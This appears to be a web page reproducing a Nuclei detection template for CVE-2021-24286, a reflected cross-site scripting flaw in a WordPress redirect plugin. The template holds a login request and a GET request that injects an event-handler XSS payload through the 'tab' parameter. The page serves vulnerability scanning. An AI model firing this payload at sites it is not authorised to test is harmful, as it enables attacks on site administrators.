WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting

ID: CVE-2021-24286

Severity: medium

Author: r3Y3r53

Tags: cve2021,cve,xss,wordpress,wpscan,authenticated,exploitdb,wp-plugin,mooveagency

Description

The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.

YAML Source

id: CVE-2021-24286

info:
  name: WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.
  remediation: Fixed in version 1.3.1
  reference:
    - https://wpscan.com/vulnerability/b9a535f3-cb0b-46fe-b345-da3462584e27
    - https://www.exploit-db.com/exploits/50350
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24286
    - https://wordpress.org/plugins/redirect-404-to-parent/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24286
    cwe-id: CWE-79
    epss-score: 0.00231
    epss-percentile: 0.61154
    cpe: cpe:2.3:a:mooveagency:redirect_404_to_parent:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mooveagency
    product: redirect_404_to_parent
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wpscan,authenticated,exploitdb,wp-plugin,mooveagency

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "alert%28document.domain%29") && contains(body_2, "Moove redirect 404")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4b0a00483046022100917fa86c656dc25ff9c2b8b84a848aaefe2d3804756ff59f5b49fe607356cb9b022100924bdbc1b55da1691da030adbd791f78eca7041c4bc0703fe1db5884ece69836:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24286.yaml"

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